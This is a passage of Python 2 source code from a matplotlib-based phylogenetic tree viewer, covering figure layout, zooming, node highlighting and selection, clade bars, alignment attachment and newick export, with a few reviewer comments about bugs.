pyplot.figure(subplotpars=pars, facecolor=\"white\")\n        connect_events(fig.canvas)\n        self.figure = fig\n        self.initialize_subplots(overview)\n        self.home()\n\n    def initialize_subplots(self, overview=True):\n        if not self.radial:\n            tp = TreePlot(self.figure, 1, 2, 2, app=self, name=self.name,\n                          scaled=self.scaled, branchlabels=self.branchlabels,\n                          highlight_support=self.highlight_support,\n                          leaflabels=self.leaflabels,\n                          mark_named=self.mark_named)\n            detail = self.figure.add_subplot(tp)\n            detail.set_root(self.root)\n            detail.plot_tree()\n            self.detail = detail\n            tp = OverviewTreePlot(\n                self.figure, 121, app=self, scaled=self.scaled,\n                branchlabels=False, leaflabels=False,\n                mark_named=self.mark_named,\n                highlight_support=self.highlight_support,\n                target=self.detail\n                )\n            ov = self.figure.add_subplot(tp)\n            ov.set_root(self.root)\n            ov.plot_tree()\n            self.overview = ov\n            if not overview:\n                self.toggle_overview(False)\n            self.set_positions()\n\n            if self.detail.nleaves < 50:\n                self.toggle_overview(False)\n        else:\n            tp = RadialTreePlot(\n                self.figure, 111, app=self, name=self.name,\n                scaled=self.scaled, branchlabels=self.branchlabels,\n                highlight_support=self.highlight_support,\n                leaflabels=self.leaflabels, mark_named=self.mark_named\n                )\n            ax2 = self.figure.add_subplot(tp)\n            ax2.set_root(self.root)\n            ax2.plot_tree()\n            self.detail = ax2\n\n    def __get_selected_nodes(self):\n        return list(self.detail.selected_nodes)\n\n    def __set_selected_nodes(self, nodes):\n        self.detail.select_nodes(nodes)\n\n    def __del_selected_nodes(self):\n        self.detail.select_nodes(None)\n\n    selected = property(__get_selected_nodes,\n                        __set_selected_nodes,\n                        __del_selected_nodes)\n\n    ## def selected_nodes(self):\n    ##     return self.detail.selected_nodes\n\n    @property\n    def axes(self):\n        return self.detail\n\n    def add(self, data, name=None, support=70,\n            branchlabels=False, leaflabels=True, mark_named=True):\n        \"\"\"\n        Add a new tree in a new window\n\n        Args:\n            data: A node object or tree file.\n            name (str): Name of the plot. Defaults to None\n            branchlabels (bool): Whether or not to draw branch labels.\n              Defaults to False\n            leaflabels (bool): Whether or not to draw leaf labels.\n              Defaults to True\n        \"\"\"\n        newfig = MultiTreeFigure()\n        ## newfig.add(self.root, name=self.name, support=self.support,\n        ##            branchlabels=self.branchlabels)\n        newfig.add(data, name=name, support=support,\n                   branchlabels=branchlabels,\n                   leaflabels=leaflabels,\n                   mark_named=mark_named)\n        return newfig\n\n    def toggle_leaflabels(self):\n        \"\"\"\n        Toggle leaf labels and redraw tree\n        \"\"\"\n        self.leaflabels = not self.leaflabels\n        self.detail.leaflabels = self.leaflabels\n        self.redraw()\n\n    def toggle_branchlabels(self):\n        \"\"\"\n        Toggle branch labels and redraw tree\n        \"\"\"\n        self.branchlabels = not self.branchlabels\n        self.detail.branchlabels = self.branchlabels\n        self.redraw()\n\n    def toggle_overview(self, val=None):\n        \"\"\"\n        Toggle overview\n        \"\"\"\n        if val is None:\n            if self.overview.get_visible():\n                self.overview.set_visible(False)\n                self.overview_width = 0.001\n            else:\n                self.overview.set_visible(True)\n                self.overview_width = 0.25\n        elif val:\n            self.overview.set_visible(True)\n            self.overview_width = val\n        else:\n            self.overview.set_visible(False)\n            self.overview_width = 0.001\n        self.set_positions()\n\n    def set_scaled(self, scaled):\n        \"\"\"\n        RR: Using this method gives the error:\n            redraw takes exactly 1 argument(2 given)-CZ\n        Define whether or not the tree is scaled and redraw tree\n\n        Args:\n            scaled (bool): Whether or not the tree is scaled.\n        \"\"\"\n        for p in self.overview, self.detail:\n            p.redraw(p.set_scaled(scaled))\n        self.set_positions()\n\n    def on_nodes_selected(self, treeplot):\n        pass\n\n    def picked(self, e):\n        try:\n            if e.mouseevent.button==1:\n                s = e.artist.get_text()\n                clipboard.copy(s)\n                print s\n                sys.stdout.flush()\n        except:\n            pass\n\n    def ladderize(self, rev=False):\n        \"\"\"\n        Ladderize and redraw the tree\n        \"\"\"\n        self.root.ladderize(rev)\n        self.redraw()\n\n    def show(self):\n        \"\"\"\n        Plot the figure in a new window\n        \"\"\"\n        self.figure.show()\n\n    def set_positions(self):\n        ov = self.overview\n        p = self.detail\n        dp = self.dataplot\n        height = 1.0-p.xoffset()\n        if ov:\n            box = [0, p.xoffset(), self.overview_width, height]\n            ov.set_position(box)\n        w = 1.0\n        if ov:\n            w -= self.overview_width\n        if dp:\n            w -= self.dataplot_width\n        p.set_position([self.overview_width, p.xoffset(), w, height])\n        if dp:\n            box = [1.0-self.dataplot_width, p.xoffset(),\n                   self.dataplot_width, height]\n            dp.set_position(box)\n        self.figure.canvas.draw_idle()\n\n    ## def div(self, v=0.3):\n    ##     assert 0 <= v < 1\n    ##     self.overview_width = v\n    ##     self.set_positions()\n    ##     self.figure.canvas.draw_idle()\n\n    def add_dataplot(self):\n        \"\"\"\n        Add new plot to the side of existing plot\n        \"\"\"\n        np = 3 if self.overview else 2\n        if self.dataplot:\n            self.figure.delaxes(self.dataplot)\n        self.dataplot = self.figure.add_subplot(1, np, np, sharey=self.detail)\n        # left, bottom, width, height (proportions)\n        dleft, dbottom, dwidth, dheight = self.detail.get_position().bounds\n        # give the dataplot one-quarter the width of the detail axes\n        w = dwidth * 0.25\n        self.detail.set_position([dleft, dbottom, dwidth-w, dheight])\n        self.dataplot.set_position([1-w, dbottom, w, dheight])\n        self.dataplot.xaxis.set_visible(False)\n        self.dataplot.yaxis.set_visible(False)\n        for x in self.dataplot.spines.values():\n            x.set_visible(False)\n        self.figure.canvas.draw_idle()\n        return self.dataplot\n\n    def redraw(self):\n        \"\"\"\n        Replot the figure and overview\n        \"\"\"\n        self.detail.redraw()\n        if self.overview: self.overview.redraw()\n        self.highlight()\n        self.set_positions()\n        self.figure.canvas.draw_idle()\n\n    def find(self, x):\n        \"\"\"\n        Find nodes\n\n        Args:\n            x (str): String to search\n        Returns:\n            list: A list of node objects found with the Node findall() method\n        \"\"\"\n        return self.root.findall(x)\n\n    def hlines(self, nodes, width=5, color=\"red\", xoff=0, yoff=0):\n        \"\"\"\n        Highlight nodes\n\n        Args:\n            nodes (list): A list of node objects\n            width (float): Width of highlighted lines. Defaults to 5\n            color (str): Color of highlighted lines. Defaults to red\n            xoff (float): Number of units to offset lines by. Defaults to 0\n            yoff (float): Number of units to offset lines by. Defaults to 0\n        \"\"\"\n        self.overview.hlines(nodes, width=width, color=color,\n                             xoff=xoff, yoff=yoff)\n        self.detail.hlines(nodes, width=width, color=color,\n                           xoff=xoff, yoff=yoff)\n\n    def highlight(self, x=None, width=5, color=\"red\"):\n        \"\"\"\n        Highlight nodes\n\n        Args:\n            x: Str or list of Strs or Node or list of Nodes\n            width (float): Width of highlighted lines. Defaults to 5\n            color (str): Color of highlighted lines. Defaults to red\n        \"\"\"\n        if x:\n            nodes = set()\n            if type(x) in types.StringTypes:\n                nodes = self.root.findall(x)\n            elif isinstance(x, tree.Node):\n                nodes = set(x)\n            else:\n                for n in x:\n                    if type(n) in types.StringTypes:\n                        found = self.root.findall(n)\n                        if found:\n                            nodes |= set(found)\n                    elif isinstance(n, tree.Node):\n                        nodes.add(n)\n\n            self.highlighted = nodes\n        else:\n            self.highlighted = set()\n        if self.overview:\n            self.overview.highlight(self.highlighted, width=width, color=color)\n        self.detail.highlight(self.highlighted, width=width, color=color)\n        self.figure.canvas.draw_idle()\n\n    def home(self):\n        \"\"\"\n        Return plot to initial size and location.\n        \"\"\"\n        if self.overview: self.overview.home()\n        self.detail.home()\n\n    def zoom_clade(self, x):\n        \"\"\"\n        Zoom to fit a node *x* and all its descendants in the view.\n\n        Args:\n            x: Node or str that matches the label of a node\n        \"\"\"\n        if not isinstance(x, tree.Node):\n            x = self.root[x]\n        self.detail.zoom_clade(x)\n\n    def zoom(self, factor=0.1):\n        \"\"\"Zoom both axes by *factor* (relative display size).\"\"\"\n        self.detail.zoom(factor, factor)\n        self.figure.canvas.draw_idle()\n\n    def zx(self, factor=0.1):\n        \"\"\"Zoom x axis by *factor*.\"\"\"\n        self.detail.zoom(factor, 0)\n        self.figure.canvas.draw_idle()\n\n    def zy(self, factor=0.1):\n        \"\"\"Zoom y axis by *factor*.\"\"\"\n        self.detail.zoom(0, factor)\n        self.figure.canvas.draw_idle()\n\n    def decorate(self, func, *args, **kwargs):\n        \"\"\"\n        Decorate the tree.\n\n        Args:\n            func (function): A function that takes a TreePlot instance as the\n              first parameter, and *args* and *kwargs* as additional\n              parameters.  It adds boxes, circles, etc to the TreePlot.\n\n        Notes:\n            If *kwargs* contains the key-value pair ('store', *name*),\n            then the function is stored as *name* and re-called every time\n            the TreePlot is redrawn, i.e., the decoration is persistent.\n            Use ``rmdec(name)`` to remove the decorator from the treeplot.\n        \"\"\"\n        self.detail.decorate(func, *args, **kwargs)\n\n    def rmdec(self, name):\n        \"Remove the decoration 'name'.\"\n        self.detail.rmdec(name)\n        ## if name in self.detail.decorators:\n        ##     del self.detail.decorators[name]\n\n    def cbar(self, node, width=6, color='blue', mrca = True):\n        pass\n        # self.axes.cbar(nodes = node, width = width, color = color, mrca = mrca)\n\n    def unclutter(self, *args):\n        self.detail.unclutter()\n\n    def trace_branches(self, nodes, width=4, color=\"blue\"):\n        \"\"\"\n        RR: What is the difference between this and highlight? -CZ\n        \"\"\"\n        for p in self.overview, self.detail:\n            p.trace_branches(nodes, width, color)\n\n    def plot_continuous(self, *args, **kwargs):\n        self.detail.plot_continuous(*args, **kwargs)\n\n    def hardcopy(self, fname=None, relwidth=None, leafpad=1.5):\n        if not relwidth:\n            bbox = self.detail.get_tightbbox(self.figure.canvas.get_renderer())\n            relwidth = bbox.width/bbox.height\n        f = self.detail.hardcopy(\n            relwidth=relwidth,\n            leafpad=leafpad\n            )\n        f.axes.home()\n        #f.axes.set_xlim(*self.detail.get_xlim())\n        #f.axes.set_ylim(*self.detail.get_ylim())\n        if fname:\n            f.savefig(fname)\n        return f\n\n    def select_nodes(self, nodes=None):\n        \"\"\"\n        Select nodes on the plot\n\n        Args:\n            nodes: A node or list of ndoes\n        Notes:\n            If only one node is given, all of the node's ancestors are\n            also selected. If a list of nodes is given (even if it has only\n            one node), only the given node(s) are selected.\n        \"\"\"\n        self.detail.select_nodes(nodes)\n\n    def decorate(self, func, *args, **kwargs): # RR: is this repeated from above? -CZ\n        self.detail.decorate(func, *args, **kwargs)\n\n    ## def dataplot(self):\n    ##     ax = self.figure.add_subplot(133, sharey=self.detail)\n    ##     ax.yaxis.set_visible(False)\n    ##     self.dataplot = ax\n    ##     return ax\n\n    def attach_alignment(self, aln, overview=True):\n        \"leaf labels expected to be sequence ids\"\n        from Bio.Align import MultipleSeqAlignment\n        from Bio.Seq import Seq\n        from Bio.SeqRecord import SeqRecord\n        from Bio.Alphabet import IUPAC\n        from alignment import AlignmentFigure, AlignmentPlot\n        if not isinstance(aln, MultipleSeqAlignment):\n            from .. import align\n            aln = align.read(aln)\n        d = dict([ (x.id,x) for x in aln ])\n        emptyseq = Seq('-'*aln.get_alignment_length(),\n                       alphabet=IUPAC.ambiguous_dna)\n        aln = MultipleSeqAlignment(\n            [ d.get(x.label) or SeqRecord(emptyseq, id=x.label)\n              for x in self.root.leaves() ]\n            )\n        self.aln = aln\n        p = AlignmentPlot(self.figure, 133, aln=aln, app=self,\n                          sharey=self.detail, showy=False)\n        self.alnplot = Storage()\n        self.alnplot.detail = self.figure.add_subplot(p)\n        detail = self.alnplot.detail\n        detail.plot_aln()\n        if overview:\n            self.alnplot.overview = inset_axes(\n                detail, width=\"30%\", height=\"20%\", loc=1\n                )\n            overview = self.alnplot.overview\n            overview.xaxis.set_major_locator(NullLocator())\n            overview.yaxis.set_major_locator(NullLocator())\n            overview.imshow(\n                detail.array, interpolation='nearest', aspect='auto',\n                origin='lower'\n                )\n            rect = UpdatingRect(\n                [0,0], 0, 0, facecolor='black', edgecolor='cyan', alpha=0.5\n                )\n            overview.zoomrect = rect\n            rect.target = detail\n            detail.callbacks.connect('xlim_changed', rect)\n            detail.callbacks.connect('ylim_changed', rect)\n            overview.add_patch(rect)\n            rect(overview)\n        self.toggle_overview(False)\n        xoff = self.detail.xoffset()\n        self.detail.set_position([0, xoff, 0.3, 1.0-xoff])\n        p.set_position([0.3, xoff, 0.7, 1.0-xoff])\n\n\nclass MultiTreeFigure(object):\n    \"\"\"\n    Window for showing multiple trees side-by-side.\n\n    TODO: document this\n    \"\"\"\n    def __init__(self, trees=None, name=None, support=70,\n                 scaled=True, branchlabels=False, radial=False):\n        \"\"\"\n        *trees* are assumed to be objects suitable for passing to\n        ivy.tree.read()\n        \"\"\"\n        self.root = []\n        self.name = name\n        self.name2plot = {}\n        self.plot = []\n        self.scaled = scaled\n        self.branchlabels = branchlabels\n        self.radial = radial\n        self.highlighted = set()\n        self.divs = []\n        pars = SubplotParams(\n            left=0, right=1, bottom=0.05, top=1, wspace=0.04\n            )\n        fig = pyplot.figure(subplotpars=pars)\n        connect_events(fig.canvas)\n        self.figure = fig\n\n        for x in trees or []:\n            self.add(x, support=support, scaled=scaled,\n                     branchlabels=branchlabels)\n\n    def on_nodes_selected(self, treeplot):\n        pass\n\n    def clear(self):\n        self.root = []\n        self.name2plot = {}\n        self.highlighted = set()\n        self.divs = []\n        self.figure.clf()\n\n    def picked(self, e):\n        try:\n            if e.mouseevent.button==1:\n                print e.artist.get_text()\n                sys.stdout.flush()\n        except:\n            pass\n\n    def getplot(self, x):\n        p = None\n        try:\n            i = self.root.index(x)\n            return self.plot[i]\n        except ValueError:\n            return self.name2plot.get(x)\n\n    def add(self, data, name=None, support=70, scaled=True,\n            branchlabels=False, leaflabels=True, mark_named=True):\n        root = None\n        if isinstance(data, tree.Node):\n            root = data\n        else:\n            root = tree.read(data)\n        if not root:\n            raise IOError, \"cannot coerce data into tree.Node\"\n\n        name = name or root.treename\n        self.root.append(root)\n\n        fig = self.figure\n        N = len(self.plot)+1\n        for i, p in enumerate(self.plot):\n            p.change_geometry(1, N, i+1)\n        plt = TreePlot(fig, 1, N, N, app=self, name=name, support=support,\n                       scaled=scaled, branchlabels=branchlabels,\n                       leaflabels=leaflabels, mark_named=mark_named)\n        p = fig.add_subplot(plt)\n        p.set_root(root)\n        p.plot_tree()\n        p.index = N-1\n        self.plot.append(p)\n        if name:\n            assert name not in self.name2plot\n            self.name2plot[name] = p\n\n        ## global IP\n        ## if IP:\n        ##     def f(shell, s):\n        ##         self.highlight(s)\n        ##         return sorted([ x.label for x in self.highlighted ])\n        ##     IP.expose_magic(\"highlight\", f)\n        ##     def f(shell, s):\n        ##         self.root.ladderize()\n        ##         self.redraw()\n        ##     IP.expose_magic(\"ladderize\", f)\n        ##     def f(shell, s):\n        ##         self.show()\n        ##     IP.expose_magic(\"show\", f)\n        ##     def f(shell, s):\n        ##         self.redraw()\n        ##     IP.expose_magic(\"redraw\", f)\n        return p\n\n    def show(self):\n        self.figure.show()\n\n    def redraw(self):\n        for p in self.plot:\n            p.redraw()\n        self.figure.canvas.draw_idle()\n\n    def ladderize(self, reverse=False):\n        for n in self.root:\n            n.ladderize(reverse)\n        self.redraw()\n\n    def highlight(self, s=None, add=False, width=5, color=\"red\"):\n        \"\"\"\n        Highlight nodes\n\n        Args:\n            s: Str or list of Strs or Node or list of Nodes\n            add (bool): Whether to add to existing highlighted nodes or\n              overwrite them.\n            width (float): Width of highlighted lines. Defaults to 5\n            color (str): Color of highlighted lines. Defaults to red\n        \"\"\"\n        if not s:\n            self.highlighted = set()\n        if not add:\n            self.highlighted = set()\n\n        nodesets = [ p.root.findall(s) for p in self.plot ]\n\n        for nodes, p in zip(nodesets, self.plot):\n            if nodes:\n                p.highlight(nodes, width=width, color=color)\n            else:\n                p.highlight()\n\n        self.highlighted = nodesets\n        self.figure.canvas.draw_idle()\n\n        ##     for root in self.root:\n        ##         for node in root.iternodes():\n        ##             if node.label and (s in node.label):\n        ##                 self.highlighted.add(node)\n        ## self.highlight()\n\n    def home(self):\n        for p in self.plot: p.home()\n\n\ndef connect_events(canvas):\n    mpl_connect = canvas.mpl_connect\n    mpl_connect(\"button_press_event\", onclick)\n    mpl_connect(\"button_release_event\", onbuttonrelease)\n    mpl_connect(\"scroll_event\", onscroll)\n    mpl_connect(\"pick_event\", onpick)\n    mpl_connect(\"motion_notify_event\", ondrag)\n    mpl_connect(\"key_press_event\", onkeypress)\n    mpl_connect(\"axes_enter_event\", axes_enter)\n    mpl_connect(\"axes_leave_event\", axes_leave)\n\nclass UpdatingRect(Rectangle):\n    def __call__(self, p):\n        self.set_bounds(*p.viewLim.bounds)\n        p.figure.canvas.draw_idle()\n\nclass Tree(Axes):\n    \"\"\"\n    matplotlib.axes.Axes subclass for rendering trees.\n    \"\"\"\n    def __init__(self, fig, rect, *args, **kwargs):\n        self.root = None\n        self.app = kwargs.pop(\"app\", None)\n        self.support = kwargs.pop(\"support\", 70.0)\n        self.scaled = kwargs.pop(\"scaled\", True)\n        self.leaflabels = kwargs.pop(\"leaflabels\", True)\n        self.branchlabels = kwargs.pop(\"branchlabels\", True)\n        self._mark_named = kwargs.pop(\"mark_named\", True)\n        self.name = None\n        self.leaf_fontsize = kwargs.pop(\"leaf_fontsize\", 10)\n        self.branch_fontsize = kwargs.pop(\"branch_fontsize\", 10)\n        self.branch_width = kwargs.pop(\"branch_width\", 1)\n        self.branch_color = kwargs.pop(\"branch_color\", \"black\")\n        self.interactive = kwargs.pop(\"interactive\", True)\n        self.decorators = kwargs.pop(\"decorators\", [])\n        ## if self.decorators:\n        ##     print >> sys.stderr, \"got %s decorators\" % len(self.decorators)\n        self.xoff = kwargs.pop(\"xoff\", 0)\n        self.yoff = kwargs.pop(\"yoff\", 0)\n        self.highlight_support = kwargs.pop(\"highlight_support\", True)\n        self.smooth_xpos = kwargs.pop(\"smooth_xpos\", 0)\n        Axes.__init__(self, fig, rect, *args, **kwargs)\n        self.nleaves = 0\n        self.highlighted = None\n        self.highlightpatch = None\n        self.pan_start = None\n        if not self.decorators:\n            self.decorators = [\n                (\"__selected_nodes__\", (Tree.highlight_selected_nodes, [], {}))\n                ]\n        self.name2dec = dict([ (x[0], i) for i, x in\n                               enumerate(self.decorators) ])\n        self._active = False\n\n        if self.interactive:\n            self.callbacks.connect(\"ylim_changed\", self.draw_labels)\n        self.selector = RectangleSelector(self, self.rectselect,\n                                          useblit=True)\n        def f(e):\n            if e.button != 1: return True\n            else: return RectangleSelector.ignore(self.selector, e)\n        self.selector.ignore = f\n        self.xoffset_value = 0.05\n        self.selected_nodes = set()\n        self.leaf_offset = 4\n        self.leaf_valign = \"center\"\n        self.leaf_halign = \"left\"\n        self.branch_offset = -5\n        self.branch_valign = \"center\"\n        self.branch_halign = \"right\"\n\n        self.spines[\"top\"].set_visible(False)\n        self.spines[\"left\"].set_visible(False)\n        self.spines[\"right\"].set_visible(False)\n        self.xaxis.set_ticks_position(\"bottom\")\n\n    def p2y(self):\n        \"Convert a single display point to y-units\"\n        transform = self.transData.inverted().transform\n        return transform([0,1])[1] - transform([0,0])[1]\n\n    def p2x(self):\n        \"Convert a single display point to y-units\"\n        transform = self.transData.inverted().transform\n        return transform([0,0])[1] - transform([1,0])[1]\n\n    def decorate(self, func, *args, **kwargs):\n        \"\"\"\n        Decorate the tree with function *func*.  If *kwargs* contains\n        the key-value pair ('store', *name*), the decorator function\n        is stored in self.decorators and called upon every redraw.\n        \"\"\"\n        name = kwargs.pop(\"store\", None)\n        if name:\n            if name in self.name2dec:\n                i = self.name2dec[name]\n                self.decorators[i] = (name, (func, args, kwargs))\n            else:\n                self.decorators.append((name, (func, args, kwargs)))\n                self.name2dec = dict([ (x[0], i) for i, x in\n                                       enumerate(self.decorators) ])\n\n        func(self, *args, **kwargs)\n\n    def rmdec(self, name):\n        if name in self.name2dec:\n            i = self.name2dec[name]\n            del self.decorators[i]\n            self.name2dec = dict([ (x[0], i) for i, x in\n                                   enumerate(self.decorators) ])\n\n\n    def flip(self):\n        \"\"\"\n        Reverse the direction of the x-axis.\n        \"\"\"\n        self.leaf_offset *= -1\n        self.branch_offset *= -1\n        ha = self.leaf_halign\n        self.leaf_halign = \"right\" if ha == \"left\" else \"left\"\n        ha = self.branch_halign\n        self.branch_halign = \"right\" if ha == \"left\" else \"left\"\n        self.invert_xaxis()\n        self.redraw()\n\n    def xoffset(self):\n        \"\"\"Space below x axis to show tick labels.\"\"\"\n        if self.scaled:\n            return self.xoffset_value\n        else:\n            return 0\n\n    def save_newick(self, filename):\n        \"\"\"\n        Save tree as a newick file.\n\n        Args:\n            filename (str): Path to file.\n\n        \"\"\"\n        if os.path.exists(filename):\n            s = raw_input(\"File %s exists, enter 'y' to overwrite \").strip()\n            if (s and s.lower() != 'y') or (not s):\n                return\n        import newick\n        f = file(filename, \"w\")\n        f.write(newick.string(self.root))\n        f.close()\n\n    def set_scaled(self, scaled):\n        flag = self.scaled != scaled\n        self.scaled = scaled\n        return flag\n\n    def cbar(self, nodes, color=None, label=None, x=None, width=8, xoff=10,\n             showlabel=True, mrca=True):\n        \"\"\"\n        Draw a 'clade' bar (i.e., along the y-axis) indicating a\n        clade.  *nodes* are assumed to be one or more nodes in the\n        tree.  If just one, it should be the internal node\n        representing the clade of interest; otherwise, the clade of\n        interest is the most recent common ancestor of the specified\n        nodes.  *label* is an optional string to be drawn next to the\n        bar, *offset* by the specified number of display units.  If\n        *label* is ``None`` then the clade's label is used instead.\n\n        Args:\n            nodes: Node or list of nodes\n            color (str): Color of the bar. Optional, defaults to None.\n            label (str): Optional label for bar. If None, the clade's\n              label is used instead. Defaults to None.\n            width (float): Width of bar\n            xoff (float): Offset from label to bar\n            showlabel (bool): Whether or not to draw the label\n            mrca: RR: Not quite sure what this does -CZ\n\n        \"\"\"\n        xlim = self.get_xlim(); ylim = self.get_ylim()\n        if color is None: color = _tango.next()\n        transform = self.transData.inverted().transform\n\n        if mrca:\n            if isinstance(nodes, tree.Node):\n                spec = nodes\n            elif type(nodes) in types.StringTypes:\n                spec = self.root.get(nodes)\n            else:\n                spec = self.root.mrca(nodes)\n\n            assert spec in self.root\n            label = label or spec.label\n            leaves = spec.leaves()\n\n        else:\n            leaves = nodes\n\n        n2c = self.n2c\n\n        y = sorted([ n2c[n].y for n in leaves ])\n        ymin = y[0]; ymax = y[-1]; y = (ymax+ymin)*0.5\n\n        if x is None:\n            x = max([ n2c[n].x for n in leaves ])\n            _x = 0\n            for lf in leaves:\n                txt = self.node2label.get(lf)\n                if txt and txt.get_visible():\n                    _x = max(_x, transform(txt.get_window_extent())[1,0])\n            if _x > x: x = _x\n\n        v = sorted(list(transform(((0,0),(xoff,0)))[:,0]))\n        xoff = v[1]-v[0]\n        x += xoff\n\n        Axes.plot(self, [x,x], [ymin, ymax], '-', linewidth=width, color=color)\n\n        if showlabel and label:\n            xo = self.leaf_offset\n            if xo > 0:\n                xo += width*0.5\n            else:\n                xo -= width*0.5\n            txt = self.annotate(\n                label,\n                xy=(x, y),\n                xytext=(xo, 0),\n                textcoords=\"offset points\",\n                verticalalignment=self.leaf_valign,\n                horizontalalignment=self.leaf_halign,\n                fontsize=self.leaf_fontsize,\n                clip_on=True,\n                picker=False\n                )\n\n        self.set_xlim(xlim); self.set_ylim(ylim)\n\n    def anctrace(self, anc, descendants=None, width=4, color=\"blue\"):\n        \"\"\"\n        RR: This function gives me a 'list index out of range' error\n        when I try to use it -CZ\n        \"\"\"\n        if not descendants:\n            descendants = anc.leaves()\n        else:\n            for d in descendants:\n                assert d in anc\n\n        nodes = []\n        for d in descendants:\n            v = d.rootpath(anc)\n            if v:\n                nodes.extend(v)\n        nodes = set(nodes)\n        nodes.remove(anc)\n        self.trace_branches(nodes, width, color)\n\n    def trace_branches(self, nodes, width=4, color=\"blue\"):\n        n2c = self.n2c\n        M = Path.MOVETO; L = Path.LINETO\n        verts = []\n        codes = []\n        for c, pc in [ (n2c[x], n2c[x.parent]) for x in nodes\n                       if (x in n2c) and x.parent ]:\n            x = c.x; y = c.y\n            px = pc.x; py = pc.y\n            verts.append((x, y)); codes.append(M)\n            verts.append((px, y)); codes.append(L)\n            verts.append((px, py)); codes.append(L)\n        px, py = verts[-1]\n        verts.append((px, py)); codes.append(M)\n\n        p = PathPatch(Path(verts, codes), fill=False,\n                      linewidth=width, edgecolor=color)\n        self.add_patch(p)\n        self.figure.canvas.draw_idle()\n        return p\n\n    def highlight_selected_nodes(self, color=\"green\"):\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        get = self.n2c.get\n        coords = filter(None, [ get(n) for n in self.selected_nodes ])\n        x = [ c.x for c in coords ]\n        y = [ c.y for c in coords ]\n        if x and y:\n            self.__selected_highlight_patch = self.scatter(x, y, s=60, c=color,\n                                                           zorder=100)\n        self.set_xlim(xlim)\n        self.set_ylim(ylim)\n        self.figure.canvas.draw_idle()\n\n    def select_nodes(self, nodes=None, add=False):\n        try:\n            self.__selected_highlight_patch.remove()\n            self.figure.canvas.draw_idle()\n        except:\n            pass\n        if add:\n            if nodes:\n                self.selected_nodes = self.selected_nodes | nodes\n            if hasattr(self, \"app\") and self.app:\n                self.app.on_nodes_selected(self)\n            self.highlight_selected_nodes()\n        else:\n            if nodes:\n                self.selected_nodes = nodes\n                if hasattr(self, \"app\") and self.app:\n                    self.app.on_nodes_selected(self)\n                self.highlight_selected_nodes()\n            else:\n                self.selected_nodes = set()\n\n    def rectselect(self, e0, e1):\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        s = set()\n        x0, x1 = sorted((e0.xdata, e1.xdata))\n        y0, y1 = sorted((e0.ydata, e1.ydata))\n        add = e0.key == 'shift'\n        for n, c in self.n2c.items():\n            if (x0 < c.x < x1) and (y0 < c.y < y1):\n                s.add(n)\n        self.select_nodes(nodes = s, add = add)\n        self.set_xlim(xlim)\n        self.set_ylim(ylim)\n        ## if s:\n        ##     print \"Selected:\"\n        ##     for n in s:\n        ##         print \" \", n\n\n    def picked(self, e):\n        if hasattr(self, \"app\") and self.app:\n            self.app.picked(e)\n\n    def window2data(self, expandx=1.0, expandy=1.0):\n        \"\"\"\n        return the data coordinates ((x0, y0),(x1, y1)) of the plot\n        window, expanded by relative units of window size\n        \"\"\"\n        bb = self.get_window_extent()\n        bbx = bb.expanded(expandx, expandy)\n        return self.transData.inverted().transform(bbx.get_points())\n\n    def get_visible_nodes(self, labeled_only=False):\n        ## transform = self.transData.inverted().transform\n        ## bb = self.get_window_extent()\n        ## bbx = bb.expanded(1.1,1.1)\n        ## ((x0, y0),(x1, y1)) = transform(bbx.get_points())\n        ((x0, y0),(x1, y1)) = self.window2data(1.1, 1.1)\n        #print \"visible_nodes points\", x0, x1, y0, y1\n\n        if labeled_only:\n            def f(v): return (y0 < v[0] < y1) and (v[2] in self.node2label)\n        else:\n            def f(v): return (y0 < v[0] < y1)\n        for y, x, n in filter(f, self.coords):\n            yield (n, x, y)\n\n    def zoom_cxy(self, x=0.1, y=0.1, cx=None, cy=None):\n        \"\"\"\n        Zoom the x and y axes in by the specified proportion of the\n        current view, with a fixed data point (cx, cy)\n        \"\"\"\n        transform = self.transData.inverted().transform\n        xlim = self.get_xlim(); xmid = sum(xlim)*0.5\n        ylim = self.get_ylim(); ymid = sum(ylim)*0.5\n        bb = self.get_window_extent()\n        bbx = bb.expanded(1.0-x,1.0-y)\n        points = transform(bbx.get_points())\n        x0, x1 = points[:,0]; y0, y1 = points[:,1]\n        deltax = xmid-x0; deltay = ymid-y0\n        cx = cx or xmid; cy = cy or ymid\n        xoff = (cx-xmid)*x\n        self.set_xlim(xmid-deltax+xoff, xmid+deltax+xoff)\n        yoff = (cy-ymid)*y\n        self.set_ylim(ymid-deltay+yoff, ymid+deltay+yoff)\n        self.adjust_xspine()\n\n    def zoom(self, x=0.1, y=0.1, cx=None, cy=None):\n        \"\"\"\n        Zoom the x and y axes in by the specified proportion of the\n        current view.\n        \"\"\"\n        # get the function to convert display coordinates to data\n        # coordinates\n        transform = self.transData.inverted().transform\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        bb = self.get_window_extent()\n        bbx = bb.expanded(1.0-x,1.0-y)\n        points = transform(bbx.get_points())\n        x0, x1 = points[:,0]; y0, y1 = points[:,1]\n        deltax = x0 - xlim[0]; deltay = y0 - ylim[0]\n        self.set_xlim(xlim[0]+deltax, xlim[1]-deltax)\n        self.set_ylim(ylim[0]+deltay, ylim[1]-deltay)\n        self.adjust_xspine()\n\n    def center_y(self, y):\n        \"\"\"\n        Center the y-axis of the canvas on the given y value\n        \"\"\"\n        ymin, ymax = self.get_ylim()\n        yoff = (ymax - ymin) * 0.5\n        self.set_ylim(y-yoff, y+yoff)\n        self.adjust_xspine()\n\n    def center_x(self, x, offset=0.3):\n        \"\"\"\n        Center the x-axis of the canvas on the given x value\n        \"\"\"\n        xmin, xmax = self.get_xlim()\n        xspan = xmax - xmin\n        xoff = xspan*0.5 + xspan*offset\n        self.set_xlim(x-xoff, x+xoff)\n        self.adjust_xspine()\n\n    def center_node(self, node):\n        \"\"\"\n        Center the canvas on the given node\n        \"\"\"\n        c = self.n2c[node]\n        y = c.y\n        self.center_y(y)\n        x = c.x\n        self.center_x(x, 0.2)\n\n    def do_highlight_support(self):\n        \"\"\"\n        TODO: reconfigure this, insert into self.decorators\n        \"\"\"\n        if self.support:\n            lim = float(self.support)\n\n        M = Path.MOVETO; L = Path.LINETO\n\n        verts = []; codes = []\n        segments = []\n        def f(n):\n            if n.isleaf or not n.parent: return False\n            try: return float(n.label) >= lim\n            except:\n                try: return float(n.support) >= lim\n                except: pass\n            return False\n\n        for node, coords in [ x for x in self.n2c.items() if f(x[0]) ]:\n            x = coords.x; y = coords.y\n            p = node.parent\n            pcoords = self.n2c[p]\n            px = pcoords.x; py = y\n            if self.app and self.app.radial:\n                pc = self.n2c[node.parent]; theta2 = 